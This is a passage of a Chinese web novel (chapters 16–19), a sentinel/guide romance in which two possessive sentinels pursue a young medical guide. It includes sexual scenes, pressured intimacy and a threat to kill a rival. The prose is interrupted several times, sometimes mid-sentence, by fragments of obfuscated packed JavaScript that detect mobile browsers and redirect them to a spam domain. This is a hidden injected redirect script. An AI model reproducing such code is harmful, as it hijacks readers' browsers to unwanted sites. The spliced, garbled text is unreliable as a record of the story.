息蕴沉默了片刻,眼看着她又气着想走,连忙追上去。 “这个,这个真答应不了。” 温沅环抱起手,不想再听她说话。 息蕴却有些无奈,手拽了拽她的衣摆,凑到她耳边。 “你太可爱了,我总是忍不住。” 忍不住就想要靠近,想要亲吻,想要更多。 就如此刻,她只是多看了一眼,小蛇向导因为赌气撅起的嘴。 就浑身燥热,喉咙里冒着火,像是三天没有喝水的人,需要她的向导帮忙解渴。 温沅看到她渐渐失焦的眼眸,警惕地后退半步。 “息蕴!” “嗯,又想亲你了。” 16. 第 16 章 说这话的人,若是失控期的息蕴,温沅尚且还能理解。 偏偏,站在她眼前的人,是清醒时的执行官,向来冷冽的眼眸都压不住浓浓的欲念。 “你……”温沅蓦地皱起眉,“你最近是不是污染加重了?” 息蕴看她红红的嘴,张张合合。 耳朵仿佛失聪,五感都聚集在了眼睛。 她已经好几天没能近距离地看她的小蛇向导。 从前两人只保持半个月一次的疏导,许久不见,她也能习惯。 如今只是半天没见到,她心里就空空的,好似心也被挖去了一块,活得就像行尸走肉。 “息蕴。”温沅担忧地捧起她的脸,“你认为自己喜欢我、想要亲近我,可能只是受到了精神联结的影响。” 嗯,她喜欢小蛇向导。 嗯,她想要亲近小蛇向导。 息蕴在心底应了两声,突然一怔。 “你以为,我想亲你,是因为精神联结?” “不然呢?” 温沅歪了歪头,说得理所当然。 “不是因为精神联结,你怎么会突然想要亲我?” 息蕴看着她一张无辜的脸,想要解释的话到了嘴边又尽数咽了回去。 她怕自己的心意吓到这条什么都不懂的笨蛋小蛇。 更怕她的喜欢被拒绝,从此被疏远。 “我……” 温沅没听她说完。 她像是要证明自己的想法,手往息蕴掌心一搭。借着她的力量,踮起脚,在她嘴角落下了一个吻。 “有没有感觉精神力受到了安抚?” 息蕴呆呆地望着眼前的人。 嘴边还有淡淡的余温,证明自己并非出现了幻觉。 先前的失落一扫而空,她反手握住比自己小一圈的柔软。 “嗯,好多了。”息蕴似是想到了什么,微微扬起的嘴角一顿,“你也会这样帮助其她哨兵精神疏导吗?” 温沅愣了愣,反应过来她问话里所谓的疏导方式,顿时红了脸。 “……没有其她哨兵。” “什么?” “我说没有其她哨兵!” 温沅气急,抬眸只见身边的人眼角含着一抹笑意。 坏死了! 明明听到了还要问第二遍。 “现在没有,不代表以后没有!”温沅不甘示弱地仰着头,“我会亲很多很多的哨兵。” “不行。”息蕴很快就打断了她,“她们都不好亲的,你亲我,我很好亲。” “骗人,你上次还把我嘴咬疼了,一点都不好亲!” “还疼吗?” 息蕴凑近了几分,盯着她紧抿的唇。 愧疚一时又涌了上来。 其实,她一回到家就后悔了。 小蛇向导的嘴小小的,软软的。 稍稍用力都会肿。 她又怎么能被欲望支配了脑袋,胆大包天的,还用牙磨了磨。 “对不起,我太笨了。” 连亲吻都不会。 息蕴见她不说话,又急忙地开口。 “我会学的!你不要亲其她哨兵,不然我会……” “你会什么?” “会很伤心的。” 她说着,小章鱼也从精神图景里冒了出来。 几天不见,她已经从原本的褐色变成了浓重的黑。 温沅惊讶地瞪大了眼。 “小章鱼怎么黑成这样?” “几天没见你。”息蕴顿了顿,“我以为你不想理我了。” 难过的情绪蔓延至整个精神图景,海水都黑了几个度。 “你……”温沅再狠的心也软了下来,“明早我有空。” “什么?” “记得预约。” 送走了息蕴。 温沅简单处理几个病患后,再次回到了VIP病房。 金素爱没有久留。 听说繁忙的金家家主只在金千娜的病房里待了十分钟。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970005|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 敷衍的态度如同走个过场,更是坐实了金家并不重视这位小孤女的传闻。 温沅进门的时候,金千娜就坐在床头。 屋里的气压很低,总喜欢在角落里磨牙的灰狼也没了踪影。 金千娜也半垂着头,灰色长卷发几乎遮住了脸,看不出一丝情绪。 “娜娜,你还好吗?”温沅关切地靠近,伸手揉了揉她的脑袋,“我是不是给你添麻烦了?” 金千娜没有抬头,手却精准地捉住了温沅的手腕。她用力一扯,就把眼前毫无防备的向导,拉到了自己的腿上。 “你明知道,灰狼跟着你。”金千娜望着温沅惊慌失措的脸,阴郁的神色更浓了几分,“为什么还要亲她?” “我……”温沅后知后觉明白了她话里的意思,开口解释道,“我只是在替她疏导。” “又骗我,小沅医生真把我当三岁小孩吗?”金千娜说着狠话,动作却像陷入热恋的爱侣,鼻尖轻轻地磨着她的,“什么疏导,需要用到嘴?” 温沅仓皇地摇头,一时之间也不知该从哪里开始解释。 金千娜却缓慢地拉起她的手,放到嘴边,轻轻含了进去。 她抬起一双灰眸,直勾勾地盯着温沅,舌尖也配合着勾起她的指尖绕圈。 黏着的水声在房里清晰又暧昧。 温沅感觉热意从她的手一直蔓延遍全身,整个人快要烧起来。 “我比她差在哪里呢?” 金千娜吐出她的手,指尖和唇瓣间还有一丝摇摇欲坠的银线。 “我也生了大病,小沅医生什么时候来救救我?” 她用脸颊蹭着温沅的掌心,可怜巴巴的。 “娜娜,你并不需要疏……” “需要的。” 金千娜打断了她。 她是这个世界上最需要小沅医生的人。 没有人能比她更需要。 “下次再让我看到你亲她。”金千娜忽地灿烂一笑,“我一定会杀了她的哦。” 17. 第 17 章 “这里不是污染区,如果随便伤人,会被白塔关禁闭室。” 病房内安静了一瞬。 温沅抬起头,看向抱着自己的人。 “还有,你随便舔人的毛病不能改改吗?” 温沅皱着眉,看了眼自己湿哒哒的指尖。 难道污染区里的变异兽,每天见面打招呼都要行舔舔礼吗? 金千娜愣了愣,酝酿好的情绪在对温沅那张认真的小脸时,顿时烟消云散。 “反正,你亲她了。”她收紧了抱在温沅腰侧的手,语气也软了下来,“我也要。” “可是……” 温沅迟疑了一瞬,金千娜已经把脸颊送到了她嘴边。 “快点快点。”她催促间还带着威胁,“你不亲我,我就会犯罪,到时候被关进禁闭室,你来看我还要提前申请……” 她越说越过分,温沅听不下去了,闭着眼冲她脸颊啜了一口。 独属于向导身上的香味,瞬间包围了金千娜。 她怔了怔,灰色的眼眸也瞪大了几分。 原来被喜欢的人主动亲吻,是这种感觉。 简直……兴奋得快要爆炸。 “娜娜?”温沅她皱着眉,像是强忍着情绪,不由得有些担忧,“你还好吗?” “你真的……亲了我?”金千娜的话音都有些颤颤的,她微微偏过头,露出另一半脸,“这边,这边也要。” 温沅拿她没法,捧起她的脸,又是一口。 低落的情绪一扫而空,金千娜满足地抱着温沅,脚尖还颠了两下。 她的小沅医生亲了她两口。 一边左,一边右。 比起那个烦人的海鲜,多出了整整一倍。 “小沅医生果然更喜欢……” 金千娜笑着开口,低头却看到温沅用手偷偷绞着她的衣摆。 那动作……像是在借她的睡衣,擦干净指节上的口水。 注意到她的话音停了下来。 温沅抬头对上她的视线,擦手的动作一顿。 “你……” “慊我了?”金千娜握住她的手,不准她再动,“信不信,待会儿让你全身上下,都是我的口水。” “娜娜,你也太……”温沅皱着眉,看她眼神暗了下来,声音也低了几分,“你不讲卫生的。” 这是纠结卫生的时候吗? 金千娜哭笑不得,半抱着人,往后一躺,再翻身压在她上方。 从污染区出来还很瘦弱的小狼,如今已经比她的小沅医生大了一圈。 结实的双臂就撑在脸颊两侧,温沅不免失了神。 她盯着看了顷刻,鬼使神差地伸出手,指尖落在对方满是力量感的上臂,轻轻戳了一下。 原来,小狼已经在她不知道的时候,悄悄长成了一个成熟的S级哨兵。 她恍惚地回神,抬眸对上金千娜饶有兴致的一双眼。 “喜欢么?” “喜欢……” 温沅讷讷地重复到一半,反应过来她在问什么,顿时脸色通红。 “好红。”金千娜凑近到她面前,“其实,小沅医生什么都知道的,对不对?” 温沅慌乱地偏过头,不敢再多看她一眼。 明明知道她的心意,也会因为她的注视而害羞脸红。 为什么却要把她的亲昵和靠近,合理化成医患关系呢。 金千娜只是片刻就想明白了。 她把头埋进温沅的颈窝,痴痴地笑了两声。 “胆小鬼。” “才不是。” 温沅小声争辩,说完就感觉侧颈被人舔了一下。 像是被过热的羽毛轻轻拂过,痒痒的还有些想躲。 她不太舒服地扭了扭,伸手想要挡住对方的嘴。 金千娜却更快地握住了她的手,送到了嘴边,温柔地啄吻。 从拇指到尾指,最后舔上了掌心。 好不容易擦干的手,又糊满了小狼的味道。 “你还是被关进禁闭室吧。” 温沅赌气地说道,想要缩回手,挣扎间却不小心打到了她的脸。 软绵绵的掌心带着风,落在金千娜的侧脸。 她愣了愣,眼眸的颜色更深了几分。 温沅却还没意识到不对。 本来占理的她,因为自己误打了金千娜一巴掌,有些紧张。 “唔……我不是故意……” “好香啊。”金千娜半眯起眼,舒服地蹭了蹭她的手,“另一边也要。” “……神经病!” 温沅被她拱在被窝里摸了许久的小手。 出病房时,天都黑了。 她懊恼地想起自己还没有和小狼谈好出院的事宜,又怕自己转身回去再也出不来,赶紧加快步伐离开了住院部。 灰狼慢了半步,状态和她共生的哨兵一般,晕晕乎乎中带着满足的愉悦。 她和往常一样护送着温沅回家,只是一路的电线杆都被她撞歪了好几根。 当晚,温沅敲响了息蕴的门。 看着执行官心情不错,她开口把金千娜想要借住的事情说了出来。 没想到,她刚说完,眼前的人脸色就沉了下来,礼貌地给出回绝的答案。 “抱歉,小蛇向导。我家里并没有多余的空房间可以让金哨兵借住。不过,我想你不用过于担忧,金家的人不至于为了住处烦恼。” “可是……”温沅欲言又止,“算了,还是让她先住我那里吧。” “等等。”息蕴立刻拉住了她的手,“她不能回自己家吗?” 她想到那条臭狗私下里藏了许多温沅的小物件,从用过的水杯,到换下的工作服。 要是真让她和小蛇向导共处一室…… “太危险了。”息蕴迎着温沅困惑的神色,话音一转,“你一个向导,和哨兵住在一起,太危险了。” “金家并不重视她,出院以后,她没有能落脚的地方。”温沅小声道,“娜娜不是坏人,应该不会伤害我的。” 息蕴叹了口气。 她的小蛇向导哪里都好,就是没有防备心。 恐怕整个世界对她而言都没有坏人。 “我突然想起来,家里还有个空房间可以收拾出来。”息蕴松了口,没想明白,“不过,她为什么着急出院?” 着急到,房子都没找好,就办理了出院。 仿佛是有预谋地,想要住进小蛇向导的家里。 果然是卑鄙的坏狗。 “因为……她需要健康报告,我们才能自由组队进入污染区。”温沅迟疑了一瞬,“息蕴,你以前常做任务,污染区很危险吗?” “你要进污染区?”息蕴向来没有情绪的脸上都闪过一丝惊讶,“为什么?” 温沅把自己困扰许久的梦说了出来。 她抿着唇,看不出息蕴的表情,又自嘲地笑了笑。 “为了一个梦,就跑去污染区,是不是很傻啊?” “不傻。” “但我从小就没有妈妈,我想,要是找到了梦里的灰塔,会不会就能找到我的妈妈了。” “我和你一起去。”息蕴握住了她的手,“一定会找到的。” 温沅从小到大,被反复的梦折磨了很久。 她也曾尝试把梦告诉身边的人,只是无一例外,大家都认为她太过较真。 污染区里满是变异的生物,别说是B级的向导,就连S级的哨兵都有丧命的前例。 不过是一场梦而已。 哪有人会因为一场梦,就要涉险闯入污染区。 更何况,污染区域那么大,想要在里面找一座灰塔,无疑是海底捞针。 可是现在不同了。 真的有人会把她的梦当做一回事。 有人愿意陪她一起进入污染区,求证一场可能没有结果的梦。 “我……”温沅埋下头,声音有了些动容,“谢谢你。” “不过。”息蕴歪头看了看她泛红的眼,总是冷冰冰的声音这会儿却柔得几乎听不清,“在去之前,我得带你去一个地方。” “嗯?” 要去的地方,就在白塔。 中央训练室是哨兵们最常出入的地方。 她和金千娜都是S级的哨兵,带着温沅进出低级污染区,不算难事。 只是谁也没法预料,污染区内随时可能会出现的意外,她们也不敢保证,自己能时刻守护在向导的身边。 “所以。”息蕴难得严肃地看着温沅,“你必须要有自保的能力。” “自保?”温沅不太自信地开口,“可是我……” 她一直以来,学习的都是医疗相关的向导知识,完全没有接触过实战方面的课程。 真的……能学好吗? “没关系,有我。”息蕴揉揉她的脑袋,“你先去换训练服,最里面那间,我的更衣室,换完出来再集合。” 温沅接过她早早准备好的训练服,走出几步又回头看了她一眼。 执行官大人就靠在门框,微微冲她点了点头,高大的身姿几乎挡住了所有的光。 没有过多的表情,往日里带着压迫感的冷硬气场,这会儿却让她感觉到了安心。 以前两人见面,多是息蕴精神失控,需要她的帮忙。 她还是第一次,看到这样的息蕴。 仿佛两人的身份发生了对调。 她在自己擅长的领域里好似会发光。 温沅笑了笑,转身快步朝休息室走去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970006|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 息蕴望着她的背影,久久没有回神。 小蛇向导,究竟在笑什么…… 是她穿训练服的模样,太呆了吗? 向导的体质不如哨兵。 息蕴跳过了重型武器,直接把人带到了射击场。 琳琅满目的配枪摆在桌面,温沅没看几眼,就被息蕴拉着到一旁戴好了护目镜和耳塞。 “我自己戴就好。”温沅看她细心地给自己调整护目镜,有些难为情,“你去戴你的吧。” “不需要,我习惯了。” 息蕴轻轻敲了一下她的护目镜,随后走到射击台前,拿起其中最小的一把。 没有过多累赘的装备,她稳稳地抬起手,对准了场内移动的枪靶。 几乎没有丝毫停顿,只听“滋啦”的一声细响,火星扑射而出。 随着白烟散开,移动靶上的圆心已经被击穿成一个窟窿。 息蕴收回手,把枪递向温沅。 “电磁枪,试试?” 冰凉的质感拿在手中,看着不大却很有份量。 温沅抖了抖,差点没握住。 好在息蕴反应更快,托着她的手,直接站在了她身后。 两人离得很近,几乎贴在了一起。 “看着前面的靶心。”息蕴在她耳边说话,手握着她的缓缓抬起,“专心。” 热气笼罩在耳尖,温沅感觉自己靠近息蕴的半边身子都要麻了。 她偷偷瞄了一眼身后的人,小声地开口。 “别人训练,也需要靠那么近吗?” “嗯?”息蕴佯装没听明白,揽住了她的腰,更近一步,“你在怀疑老师?” “息蕴。”温沅低低地叫着她的名字,软绵绵的声音带着几分嗔怪,“你这样,我都不会了。” 她的向导太好骗了。 半点没有怀疑是她有私心,还傻乎乎地撒娇。 息蕴没有难为她,松开手,退后两步,到一侧看她练习。 温沅学得认真,只大半天,就能稳稳中靶。 虽然离红心还有一点距离,不过污染区里的变异兽身形巨大,并不需要太高的精准度。 两人从射击场回到休息室。 温沅正打算进去换衣服,冷不丁看到息蕴也跟了进来。 休息室一眼能望到底,没有任何遮挡的地方。 “你先换!” 她脸色一红,许是想到了什么旖旎的画面,垂着脑袋就想出去。 息蕴却迈开一步,挡住了她的路。 “小蛇……”她声音低了几分,视线也浑浊起来,“老婆。” 温沅警惕地抬起头,果然看到她发热时失焦的眼神。 “息蕴,你又……” “老婆,你来训练场看我吗?”息蕴弯下腰,美滋滋地将眼前的向导捞进怀里,“老婆穿训练服也很好看,好可爱,可以亲一口吗?我很乖的,老婆不让随便亲,我等老婆答应了再亲。” 她无辜地睁着眼,带着硬茧的指尖却不停摩挲温沅的唇,眼里的欲色也越来越浓。 “老婆,出汗了也好漂亮,脸红红的,嘴巴也红红的。”息蕴咽了咽口水,呼吸不停加重,“老婆,亲一口好吗?我轻轻的,亲一口。” “息蕴。”温沅握住她的手,“你先出去,等我换完衣服再亲,好不好?” 息蕴定定地望着她,好似在思考,想了半天却摇摇头。 就在温沅还想继续劝说的时候,隔壁却传来了几个人闲聊的声音。 “今天队长把她的向导带来了?” “带去射击场了,特地不让我们进去看。” “嘿嘿,我远远看了一眼,小小白白的,被队长抱在怀里,脸都红了一半,可爱死了。” “你最好只是远远看了一眼,不然让队长知道,扔你去喂鳄鱼。” “不过,今天队长好奇怪,全程穿着外套,以前她训练不是穿个背心就上场了吗?” “你懂什么,当然是一身伤不能给小可爱看到啊。” “队长的向导看起来那么温柔,真看到队长身上的伤,会不会心疼得哭啊。” “不是,队长到底在哪里找到的向导!” “就是,我也想要向导了……” 一身的伤? 温沅皱起眉,仔细想了想,确实两人见面时,息蕴总是穿着到手腕的长袖。 是她太不细心了。 常出入污染区的哨兵,有几个身上没伤呢。 她作为医疗向导,居然忽略了最基本的皮外伤。 息蕴还趴在自家老婆的颈窝里闻闻嗅嗅,像只推不开的黏糊大狗。 温沅吸了一口气,摸了摸她的脑袋,轻声道。 “息蕴,你把衣服脱了。” 18. 第 18 章 日光透过高处的百叶帘,一道道地落进更衣室。 息蕴听到了她的话,环抱着人的动作一顿。 她忽地有些心虚,悄悄半抬起眸,想看一眼老婆的表情。 只是光线太强,温沅恰好背对着窗户。 视线被光扎到了眼,她仍旧没能看清老婆有没有生气。 “老婆,不好看的。”她小声地开口,黏黏糊糊地蹭着温沅的肩头撒娇,“你不想看的。” “我想看。”温沅往后退开半步,看向眼前的人,“你要是有事瞒着我,以后就……” “没有的!”息蕴怕她说出绝情的话,连忙打断了她,“我……我怕吓到你,老婆。” 她从小就浸泡在训练场。 出任务也总是挡在队伍的最前方。 在没有遇到温沅之前,她从没留意过身上的伤。 反正,她的体质过人,偶尔受伤也会很快愈合。 只是,疤痕却永远地留在她的身上。 从肩膀到侧腰,有还没淡化的黑印,也有凹凸不平的印痕。 上一回,她带队深入S级污染区。 肩膀被变异兽划破一道口子,伤口又长又深,几乎能看清里面的白骨。 如今伤口也没有完全愈合,狰狞地爬在她的肩头,好似吸血的长虫,泛着暗红色的印记。 温沅颤着手,轻轻触碰她的伤口,又气又心疼。 “你受伤了,为什么不和我说?”她猛地抬起头,眼里已经泛起了水光,“我是你的向导,你难道不知道,精神力可以更快地修复损伤吗?” “老婆,不难过。”息蕴看她眼尾泛起了红,突然有些手足无措起来,“我一点也不痛。” 她是喜欢看老婆哭。 老婆每次哭起来都很可怜。 皱巴巴的,有时还会喘不过气,憋得鼻尖也发红,可爱得要命。 只是,她不喜欢老婆因为她的伤疤而流眼泪。 “你是不是……”温沅扁起嘴,声音也低了几分,“不相信我?” 不相信她一个B级的向导也能处理好高级变异兽的伤害。 “没有的,老婆。” 息蕴吓得急忙摆手。 她凑近了温沅几分,不知道该怎么哄,索性用嘴巴贴了过去。 冰凉的唇瓣吻上湿润的眼尾。 她小心翼翼地,用手揉着温沅的头发,亲吻也变得更温柔了几分、 “是不好看,不想给老婆看到。” “那……唔。” 温沅刚抬起头,就被她堵住了嘴。 不再是简单的啄吻。 眼泪淡淡的咸味也被卷进了舌尖,黏着的津液分不清究竟是谁的。 息蕴扣着她的后脑,另一只手牵过她的,按在自己肩头的伤痕,含着她的唇呢喃。 “老婆,我相信你。” 温沅被她亲得懵懵懂懂,眼尾的红晕又漫了上来。 “息蕴……先……治疗……唔……”她断断续续地说着,手放在她的肩膀,生怕碰到她的伤口,又不敢太用力地推,“不要了……不要再吃我……” “不够,我渴了。老婆,我好渴。”息蕴抱着她,躺倒在更衣室的长椅上,“再给我喝一点,老婆。” 温沅也不知道怎么就发展成了这样。 两道不同的精神力,好似早就熟稔了一般,在精神图景的边缘交融,快意冲破了脑袋,如同有电流滑过身体的每一处。 她双手无力地抵着息蕴的肩膀,闭着眼也逃避不了身上传来的灼热触感。 “息蕴……嗯……” “老婆,我只喝一点。”息蕴抬起头,嘴边还挂着一抹暧昧的银丝,“可是老婆给了好多,我会努力喝光的,老婆。” “不要说!” 温沅嗔怪地瞪她一眼,想要坐起身,又见她埋下头,酥麻的感觉再次盖过了理智。 直到天暗了下来。 息蕴蹲在地上,握着温沅的脚踝,给她换上干净的裤子。 “都说了不能那样,你还……”温沅脸红未退,说到生气的时候,脚尖还轻轻地蹬了她一下,“坏死了,坏死了!” 息蕴没有反驳,低头看着老婆泛着粉的脚尖,没忍住,偷偷捏了一下。 “息蕴!”温沅瞪大了眼,“你,你你!” “老婆太可爱了。”息蕴抬起头,眼里有些委屈,“我控制不住。” 原本,她也只是想要安慰老婆。 想着亲掉老婆的眼泪,想她不要伤心。 可是嘴巴贴上去后,就变了。 老婆实在太甜了。 她情不自禁地想要更多。 幸好…… “老婆也很喜欢吧?”息蕴大手往上,抚着她的腿肉,“刚刚一直在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970007|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫我的名字,手也按着我不想我离开,很喜欢的,对吗?” 温沅红着一张脸,偏过头,不想回答她的问题。 “我也很喜欢。”息蕴咽了咽口水,“以后……” “没有以后!”温沅赶紧打断她,“以后不可以!” 哪有向导用那种东西疏导哨兵的! 好在执行官大人醒来就没了记忆,否则她一定要搬离新洲市,到更远的地方重新生活。 温沅推开她,坐到一旁,自顾自地穿好了衣服。 回头见她还蹲在长椅旁,身上只有一件单薄的背心,顿时又心软了。 “你过来。” 息蕴不可思议地抬起头,发现老婆真的在叫她,忙不迭挪到了她面前。 “受伤了不许再瞒着我。”温沅凝出一抹精神力,在她肩膀的伤口铺满,嘴里还恶狠狠地说道,“丑死了,留着伤疤,你以后还怎么找老婆啊!” 息蕴也不说话,一双无机质的眼就直勾勾地盯着眼前的人。 好似在说,不用找了,老婆就在眼前。 “不许看我!”温沅伸手遮住她的眼,声音也轻了下来,“以后不要受伤了。” “好。”息蕴答应得很快,“不会了。” 以前受伤是因为没有人记挂。 现在她有了老婆。 不会再让她可爱的老婆担心了。 两人到家的时候已经很晚。 驻守在温沅家门的灰狼已经昏昏欲睡地打着盹儿。 听到电梯提醒,她飞快地跑进角落躲好,偷偷探出头却看见温沅牵着息蕴的手,正在开门回家。 回的温沅家! 灰狼顿时警惕地炸起毛,眼看着息蕴也跟着进了门,更是焦躁地来回踱步。 失控期的息蕴还没恢复清醒。 温沅不放心她一个人回家,就让她先到自己家里坐会儿。 身上黏黏糊糊的感觉还在,她洗澡换了睡衣,正擦着头发。 门铃突然响了。 息蕴自告奋勇地去开门,视线在猫眼里看了看,又转身往回走。 “谁啊?”温沅不明所以地问道。 “不认识。”息蕴无辜地摇头,“可能是走错了。” 她刚说完,门铃再次被人按响。 只是这次的频率显得有些着急。 “小沅医生,是我。” 19. 第 19 章 厚重的乌云散开,露出亮得诡异的圆月。 污染区内,滚烫的红河粘稠涌动,散发出腐烂的恶臭。 息晗缓缓地睁开眼,对上黑龙关切的眼神。 太阳穴仍在隐隐作痛,过热的温度烧得她意识也变得浑浊。 “息晗,你的污染堆积太严重,再不疏导,精神图景迟早会崩溃。” 黑龙低下头,用鼻尖蹭了蹭她。 “你该找个向导了。” “向导?”息晗瞥了她一眼,冷嗤道,“不需要。” “你刚刚都昏迷了。”黑龙不太赞同,“受污染严重的哨兵,轻则出现幻觉,重则失去意识。污染区处处都暗藏着危机,你难道不想活了吗?” 息晗沉默片刻,她调出了精神图景。 深不见底的沼泽地,不同往日的荒芜,反而漂浮着几株嫩绿的草。 她顿了顿,伸手拧过黑龙的头,神色有些阴郁。 “我昏迷的时候,你擅自让人进入了我的精神图景?” “什么?”黑龙无辜地瞪大了眼,“我一直在这里守着你啊,没有其她生物靠近。” 别说是变异兽,就连路过的草食蚊子都被她全部拍死了。 没有? 息晗皱了眉。 没有别人,难道是她自己种的草? 很快她又打断了这种想法,清醒的时候,她都懒得打理自己的精神图景,昏迷了又怎么可能做出如此多余的举动。 “不过,我一直听你叫着好渴,你昏迷的时候做梦了?” 息晗一怔,黏着潮湿的感受涌进了脑海,她仿佛身临其境,替息蕴享用了那个可爱的向导。 原来是这样。 双胞胎不仅有强烈的共感,精神污染也会彼此影响,甚至还能感受到对方向导的力量。 她看着沼泽地里稀稀落落的小草,忍不住猜想,那个向导在给息蕴疏导的时候,是不是也会在她的图景里种花种草,甚至养小鱼? 无聊,幼稚。 息晗沉下眸,望着毫无生气的污染区。 十多年来,她就没离开过这里。 废弃的楼房、枯败的树木,还有长相恶心的变异兽。 她有多久没见过新鲜的绿芽了,朝气蓬勃又满是生命力。 “你说。”息晗凑近黑龙,声音也压低了几分,“如果我想要息蕴的向导,她会同意吗?” “为什么要她同意?”黑龙不懂人类社会的规则,下意识地说着,“我们把向导抢过来不就得了。” “对,抢过来就好。”息晗笑了笑,想到自己沉闷的姐姐,又道,“如果她愿意一起分享,我也不介意,让我的小向导在她的图景里种花。” 就在这时,温沅收回了自己的精神力。 她疑惑地歪了歪头,总觉得哪里不对。 难道是太黑了吗? 息蕴的精神图景,好像宽阔了许多,望不到边际的海水,差点让她迷失了方向。 她费劲了精神力,配合小蛇也只勉强清理出一小部分的污染物。 靠在沙发上的哨兵已经熟睡过去。 她叹了口气。 执行官失控期越发的频繁,要是她等级再高一点,是不是就能疏导出更多的污染物。 “在想什么?”金千娜过来便看到她愁眉苦脸的模样,“脸都皱成小苦瓜了,不知道咬一口是不是也苦巴巴的。” 两个小时前,她在灰狼的提醒下赶到了温沅的家。 开门和失控期的息蕴撞个正着,两个S级的哨兵差点就打了起来。 要不是,温沅挡在中间…… 金千娜烟灰色的眼眸暗了暗。 算了,单方面欺负弱智也不是什么光彩的举动。 实在是失控期的息蕴蠢得厉害,不仅接不住她一招,还一直哭哭唧唧地躲在温沅身后叫老婆。 老婆? 是她老婆么就叫。 偏偏她的小沅医生就吃这一套。 安慰弱智的同时还悄悄瞪了她两眼。 温沅刚洗完澡,身上还冒着甜甜的香味。 头发也没擦干,一双眼睛湿润润的,光是瞪她,就足够让她兴奋地想要摇尾巴。 她一时也不想再和弱智计较。 毕竟她的宝宝人美心善,最容易可怜这些没人要的流浪狗。 只是,流浪狗再多又怎么能比得上她呢。 她可是温沅主动捡回来的第一条狗,后来的流浪狗,多多少少都有她的影子。 金千娜想通了,听说温沅要给息蕴疏导也没阻拦。 讨人厌的海鲜还是赶紧恢复清醒,免得总借口自己失控,就粘着她的宝宝不松手。 她没有被疏导过的经验,窝在角落里一等就到了现在。 要是知道疏导要怎么久,两人还得保持身体接触,她早在开门的时候就会把失控期的海鲜敲晕。 “没事。”温沅强撑着摇摇头,“只是精神力消耗太大。” “是吗?” 金千娜定定地看了她一瞬,俯下身,一手环住她的后腰,一手则托起她的腿弯。 有力的胳膊带着绝对的掌控欲,不容拒绝地把人从沙发里抱了起来。 “嗯?”温沅猝不及防,不自觉地伸手揽住了她的脖子,“要去哪里?” “不去哪里。” 金千娜温柔地对她笑了笑,走到沙发的另一头,坐了下来。 她抱着人的手没有松开,动作轻柔地将清瘦的向导放到了自己腿上,手也紧紧扣住了她的腰。 或许是温沅消耗了太多的精神力。 这会儿被她抱着也不挣扎,乖乖地垂着脑袋,露出后颈一抹白。 金千娜眸色一沉,看着她泛红的耳尖,不自觉地咽了咽口水。 “你看起来很累,我抱着你休息一会儿,好吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970008|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙发的对面,息蕴还在闭着眼睡觉。 温沅没由来地一阵心虚,小声道。 “我困了,想回去休息。” “在这里不好吗?”金千娜顺着她的视线看过去,神色也冷了下来,“你在怕什么?怕她醒来看到我抱着你?” “不是。”温沅摇摇头,只感觉金千娜的状态也像极了失控期,“娜娜,你真的还好吗?” “我好不好,小沅医生进来检查一下不就知道了。”金千娜抚摸着她的脸,“听说,有身体接触的哨兵和向导,更容易产生精神联结,小沅医生为什么不和我试试呢?” 她快憋疯了。 亲眼看着自己喜欢的向导给别人做疏导。 要不是怕温沅反感,恐怕她早就冲上去把碍眼的海鲜撕碎。 为什么,别人都能得到温沅的疏导。 只有她不能呢。 就因为她的污染值太低,没有被疏导的资格吗? “可是,我也想,我的精神图景里都是小沅医生的味道。”金千娜着迷地望着她,唇瓣也轻轻划过她的嘴角,“你可怜可怜我吧,好不好?” “娜娜……唔……” 温沅来不及开口,就被堵住了嘴。 小狼按着她的后脑,炙热的舌尖顶了进来,像是巡逻自己的领地,搜刮着每一处。 “太……太深了!”温沅被她吻得快喘不过气,只好用力咬了她一下,“息蕴,她还在,不可以……” 痛意从舌尖蔓延开来,金千娜呆呆地望着眼前脸色通红的向导,差点以为自己产生了幻觉。 她的小沅医生没有骂她,更没有拒绝。 只是担心被别人看到? “嘘——”她伸手抬起温沅的下巴,故意压低了声音,“她睡着了,我们轻点,没事的。” 温沅来不及多想,又被她吻了上来。 有了第一次的经验,小狼明显温柔了许多。 